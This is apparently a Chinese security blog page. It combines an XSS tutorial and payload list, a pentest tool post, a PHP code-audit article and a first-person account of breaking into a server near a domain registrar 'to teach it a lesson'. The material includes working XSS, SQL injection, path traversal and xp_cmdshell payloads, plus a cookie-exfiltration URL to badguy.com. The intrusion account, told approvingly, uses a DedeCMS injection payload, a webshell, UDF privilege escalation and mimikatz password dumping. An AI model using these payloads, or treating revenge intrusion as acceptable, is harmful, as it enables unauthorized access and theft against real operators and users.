结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


admin 发布于  2016-4-10 16:44 

红树林渗透测试小工具v1.1.1 安全工具

免责申明:

请使用者注意使用环境并遵守国家相关法律法规!

由于使用不当造成的后果本作者不承担任何责任!

----------------------------------------------------------------------------

woods.jpgwoods-1.jpg

/*
渗透测试中免不了一些小工具,网上也有许多,但有些不是失效就是操作繁琐。
然后自己琢磨了几个小工具集成一起,界面有点随便,后期会慢慢的进行更改、增加一些功能。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 C7 L% M9 Y/ o& L9 M" I
T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security2 ?( ?; J3 P: j
会持续更新本程序,有任何问题、BUG、建议烦请联系:[email protected]
*/T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security+ ]6 K- u) ~8 C7 Q3 W: P5 C
2015-09-18
*        搜索引擎抓取:调用本机IE8浏览器通过搜索引擎抓取连接,暂时仅支持IE8。
*        C段 旁注查询:同服域名查询/C段查询/自定义IP段查询。 - 低调求发展$ Y) Y* u/ Y2 G( Q$ o- D
*        子域名爆破:渗透测试中能快速定位测试目标的子域信息,可进行多级域名爆破,功能简单,以后慢慢增加DNS、Whois、子域查询功能。 - 专注网络安全- \% N& S& w8 ^# b0 t
*        Http Form、Http Basic万能暴力破解:主要针对无防火墙,无验证码等防护。进行post提交方式猜解用户密码。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security0 n. A9 [. ?5 g; n7 q; d" T
2015-11-04
*        搜索引擎抓取:更新了支持环境,支持IE8、IE9、IE10、IE11。搜索引擎批量检测最新Joomla3.2-3.4.4漏洞。0 [- v! w" q' S" e* K
*        Joomla EXP利用工具:结合搜索引擎对Joomla进行注射检测。
2015-11-06
*        增加导入功能,对Joomla进行批量检测。

链接:http://pan.baidu.com/s/1ntAeHXR 密码:cm58


admin 发布于  2015-11-7 12:39 

中文、英文独立版的IE6-for-Win7 很好用的神器 神器荟萃

今天用到了IE6,因为不用ie6打开就是这个样子的:

qq.png

很尴尬。。。搞了半天 结果发现原来是不支持。那么现在最新的浏览器基本上都是不支持IE7及以下了,好多IE8都不支持了,但是在做测试的时候遇见了一些古老的程序,还得需要使用IE低版本,然后呢,我就在独自等待哪里找到了这个独立版的IE6 ,刚好我电脑也可以运行,如果电脑不能运行,那就在虚拟机的XP里面测试吧!XP上面就是低版本的IE ,而且软件兼容性也比较好,基本上都是支持的。

IE 6.png

大家在测试中是否会遇到各种XSS,但是有些只有在IE6下面才能利用? 比如

<div style="width:expression(alert(1))">XSS测试</div>


现在我们使用的基本都是win7系统,默认安装的就是IE8了,想用IE6怎么办?


还好昨天得到了一个神器,单文件运行的IE6,可以在Win7上面正常使用,偶尔会崩溃,但是不影响使用,感谢绿盟的朋友提供。

提供两个下载,大家自己选一个用就行了,第一个是英文版本的,第二个是中文版的,但是貌似有个2345推广,自己修改吧!

http://pan.baidu.com/s/1eQAr0KM  如果链接失效了 请及时通知我修复。

原文(独自等待博客-右侧友链)地址:http://www.waitalone.cn/ie6-for-win7.html


admin 发布于  2015-10-15 23:31 

arp劫持某域名注册商 渗透测试

前段时间朋友在做一个网站, 就在某域名商那注册了一个米, 但是三天两头的出问题
找客服客服态度还很差, 说是自己的网络问题, 尼玛dns都找不到能是网络问题么? ...
于是乎夜半时分就帮朋友教训教训这个坑爹的域名商~~~

先是探测了一些基本信息, web使用的IIS7.5, 服务器是windows 2008
整个网站是.net写的, 于是开始找常见的一些漏洞, 发现整个系统还是比较安全, 除了一个反射型的XSS以外
没有发现其他更有价值的东西, 参数似乎是全局就过滤了, 所以注射这条路基本上堵死了..

想了一会, 就是为了教训教训这个域名商, 所以只要达到教训的目的就行了, 所以并不是非得日下
把他域名搞了岂不更爽? 再不济给他来个arp劫持也不错, 呵呵

先查了下域名商的域名, 是在Godaddy注册的, whois隐藏了, 现在不都说什么大数据大数据嘛..
于是我就在一些公开的社工库里面查了下站长的qq, 发现都没有信息, 到这里就卡死了..

既然域名那里不能入手, 那就玩玩C段吧.. 说起来也好久没弄这些了.
先用御剑扫一发~ 发现C段的站还挺多的 - - 随便找了个windows2003服务器下手, 找到了一个dede
打开一看我就呆了, 这个站原来都被人搞过了, 主页挂上了某XX小组的黑页
既然别人能日下还改了主页说明这个站的站长似乎并没怎么打理网站, 顿觉有戏!
于是打开/data/admin/ver.txt看了下版本是20130911


这个版本看来还是比较老的了, 所以直接抄上前一段时间爆出来的织梦注入漏洞:
/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23");

成功爆出来了帐号和密码


密码倒是很简单, 一下就破出来了. 只不过后台路径被改过了, 于是直接上谷歌, site:xxx.com inurl:login.php


找到了后台就简单了, 一顿XXOO拿到了shell, 这个大家都会就不细说了, 打开dede的配置文件一看, 我擦竟然直接就是root...

于是上传了一个有UDF提权功能的大马, 但是每次导出dll后安装的时候都提示不行, 一想不会是被杀了吧..
这里想了半天, 突然想到把后缀改一下呢, 于是随便弄了一个后缀. 改成了xxx.7b, 一安装, 竟然成功了


为了安全起见没有直接添加用户, 传了一个某黑客用mimikatz改出来的webshell版读取密码
成功把密码读了出来

看了下注册表3389是打开了的, 于是直接上服务器开撸, 没想到直接给我弹了个什么中断连接





admin 发布于  2015-8-3 11:38 

“猥琐”成功XSS某网站 渗透测试

因为需求,对一个网站进行检测

各种扫描无果

于是开始进行各种xss

注册会员开始

问答处~~~~~~~


不会饶,还请大牛赐教!!



不会饶,还请大牛赐教!!
最后各种翻,各种翻啊~~!!
然后就看到了



哈哈哈,很多获取IP的方式都能弄,包括ip38
那就是我们的大杀器



然后退出,再登录一遍



——————————————————
OK
目地达到


注:原文出自t00ls.只是觉得够猥琐!转载之-_-| 如果不允许就告诉我.


admin 发布于  2015-8-3 11:26 

高级PHP应用程序漏洞审核技术 网络安全

前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)

传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6 目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value) {         print $key."\n"; } ?>

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

变量覆盖

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

遍历初始化变量

请看如下代码:

<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) {         $$key = $value; } print $a; ?>

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分的代码:

$chs = ''; if($_POST && $charset != 'utf-8') {         $chs = new Chinese('UTF-8', $charset);         foreach($_POST as $key => $value) {                 $$key = $chs->Convert($value);         }         unset($chs);
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

parse_str()变量覆盖漏洞

//var.php?var=new $var = 'init';                     
parse_str($_SERVER['QUERY_STRING']); print $var;

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;

上面的代码通过提交$var来实现对$var1的覆盖。

漏洞审计策略(parse_str)
PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
漏洞审计策略(mb_parse_str)
PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str

import_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';
漏洞审计策略(import_request_variables)
PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables

PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>

但是很多的程序没有考虑到这点,请看如下代码:

//为了安全取消全局变量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf攻击。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

magic_quotes_gpc与代码安全

什么是magic_quotes_gpc

当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。 :)

哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

漏洞审计策略($_SERVER变量)
PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER

2) getenv()得到的变量(使用类似$_SERVER变量)

漏洞审计策略(getenv())
PHP版本要求:无
系统要求:无
审计策略:查找字符getenv

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:

if ( !isset( $HTTP_RAW_POST_DATA ) ) {         $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) )         $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流)
PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input

4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

if(is_array($msgtobuddys)) {         $msgto = array_merge($msgtobuddys, array($msgtoid));                 ...... foreach($msgto as $uid) {         $uids .= $comma.$uid;         $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
        LEFT JOIN {$tablepre}memberfields mf USING(uid)
        WHERE m.uid IN ($uids)");
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)

变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode 对使用 MIME base64 编码的数据进行解码
base64_encode 使用 MIME base64 对数据进行编码
rawurldecode 对已编码的 URL 字符串进行解码
rawurlencode 按照 RFC 1738 对 URL 进行编码
urldecode 解码已编码的 URL 字符串
urlencode 编码 URL 字符串
... ...

另外一个 unserialize/serialize

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

SELECT * FROM article WHERE articleid='''
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数

二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

  • mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数据库时,通过转义变为')
  • mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符串直接处理,所以魔术引号对于mssql的注射没有任何意义)

从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul?

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1)得到原字符(',\,",null])

$order_sn=substr($_GET['order_sn'], 1); //提交                 ' //魔术引号处理         \' //substr               ' $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' LIMIT 1";

2)得到“\”字符

$order_sn=substr($_GET['order_sn'], 0,1); //提交                 ' //魔术引号处理         \' //substr               \     $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交内容:

?order_sn='&order_tn=%20and%201=1/* 

执行的SQL语句为:

SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and 
order_tn=' and 1=1/*'
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码

变量key与魔术引号

我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value)         {         print $key."\n";         } ?>

1)当magic_quotes_gpc = On时,在php5.24下测试显示:

aaaa\'aaa
bb\'b

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

<?php //key.php?aaaa'aaa[bb']=1  print_R($_GET); ?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) ) 

数组第一维变量的key不受魔术引号的影响。

漏洞审计策略
PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码

